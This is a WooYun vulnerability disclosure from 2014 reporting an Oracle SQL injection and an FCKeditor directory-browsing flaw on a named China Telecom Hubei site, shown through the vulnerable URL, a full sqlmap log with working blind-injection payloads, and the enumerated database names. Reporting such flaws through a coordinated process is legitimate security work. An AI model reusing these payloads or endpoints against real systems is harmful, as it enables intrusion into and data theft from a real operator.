当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061232

漏洞标题:中国电信湖北省某分站一处Oracle注入(横跨18个数据库)与Fck编辑器目录浏览漏洞之第六蛋

相关厂商:中国电信

漏洞作者: Mosuan

提交时间:2014-05-22 16:16

修复时间:2014-07-06 16:19

公开时间:2014-07-06 16:19

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-22: 细节已通知厂商并且等待厂商处理中
2014-05-27: 厂商已经确认,细节仅向厂商公开
2014-06-06: 细节向核心白帽子及相关领域专家公开
2014-06-16: 细节向普通白帽子公开
2014-06-26: 细节向实习白帽子公开
2014-07-06: 细节向公众公开

简要描述:

详细说明:

注入地址

http://hb.118100.cn/cring/jsp/user/board/banglist.jsp?boardType=0


注入地址:http://hb.118100.cn/cring/jsp/user/board/banglist.jsp?boardType=0
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 23:12:25
[23:12:25] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\hb.118100.cn\session' as session file
[23:12:25] [INFO] testing connection to the target url
[23:12:25] [INFO] testing if the url is stable, wait a few seconds
[23:12:27] [INFO] url is stable
[23:12:27] [INFO] testing if GET parameter 'boardType' is dynamic
[23:12:27] [INFO] confirming that GET parameter 'boardType' is dynamic
[23:12:27] [INFO] GET parameter 'boardType' is dynamic
[23:12:27] [WARNING] heuristic test shows that GET parameter 'boardType' might n
ot be injectable
[23:12:27] [INFO] testing sql injection on GET parameter 'boardType'
[23:12:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:12:28] [INFO] GET parameter 'boardType' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
[23:12:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:12:28] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:12:28] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[23:12:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[23:12:29] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:12:29] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[23:12:29] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:12:29] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:12:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[23:12:29] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[23:12:29] [INFO] testing 'Oracle AND time-based blind'
[23:12:40] [INFO] GET parameter 'boardType' is 'Oracle AND time-based blind' inj
ectable
[23:12:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'boardType' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: boardType
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: boardType=0 AND 8528=8528
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: boardType=0 AND 2424=DBMS_PIPE.RECEIVE_MESSAGE(CHR(111)||CHR(71)||C
HR(88)||CHR(81),5)
---
[23:12:42] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[23:12:42] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[23:12:42] [INFO] fetching database (schema) names
[23:12:42] [INFO] fetching number of databases
[23:12:42] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[23:12:42] [INFO] retrieved: 18
[23:12:47] [INFO] retrieved: ANALYSIS
[23:13:21] [INFO] retrieved: FRS
[23:13:35] [INFO] retrieved: HBIVR
[23:13:54] [INFO] retrieved: HBTEL
[23:14:13] [INFO] retrieved: NAGIOS
[23:14:40] [INFO] retrieved: OUTLN
[23:15:04] [INFO] retrieved: SMOP_DIDP
[23:15:43] [INFO] retrieved: SMOP_QUARTZ
[23:16:24] [INFO] retrieved: SMOP_SMS
[23:16:56] [INFO] retrieved: SMOP_STAT
[23:17:36] [INFO] retrieved: SMOP_SYSMON
[23:18:24] [INFO] retrieved: SYS
[23:18:35] [INFO] retrieved: SYSTEM
[23:18:58] [INFO] retrieved: TEST
[23:19:13] [INFO] retrieved: WAP
[23:19:26] [INFO] retrieved: WEIXIN_PORTAL
[23:20:14] [INFO] retrieved: WMSYS
[23:20:35] [INFO] retrieved: XWSTAT
available databases [18]:
[*] ANALYSIS
[*] FRS
[*] HBIVR
[*] HBTEL
[*] NAGIOS
[*] OUTLN
[*] SMOP_DIDP
[*] SMOP_QUARTZ
[*] SMOP_SMS
[*] SMOP_STAT
[*] SMOP_SYSMON
[*] SYS
[*] SYSTEM
[*] TEST
[*] WAP
[*] WEIXIN_PORTAL
[*] WMSYS
[*] XWSTAT
[23:21:06] [WARNING] HTTP error codes detected during testing:
404 (Not Found) - 3 times
[23:21:06] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\hb.118100.cn'


还有一枚Fck编辑器目录浏览(有限制)

http://hb.118100.cn/fckeditor//editor/filemanager/browser/default/browser.html?Type=File&Connector=../../connectors/asp/connector.asp/editor/filemanager/browser/default/browser.html?Type=File&Connector=../../connectors/asp/connector.asp

漏洞证明:

详细说明

修复方案:

你们懂的!!

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-27 13:30

厂商回复:

CNVD确认并复现所述情况,转由CNCERT协调中国电信集团公司通报处置。

最新状态:

暂无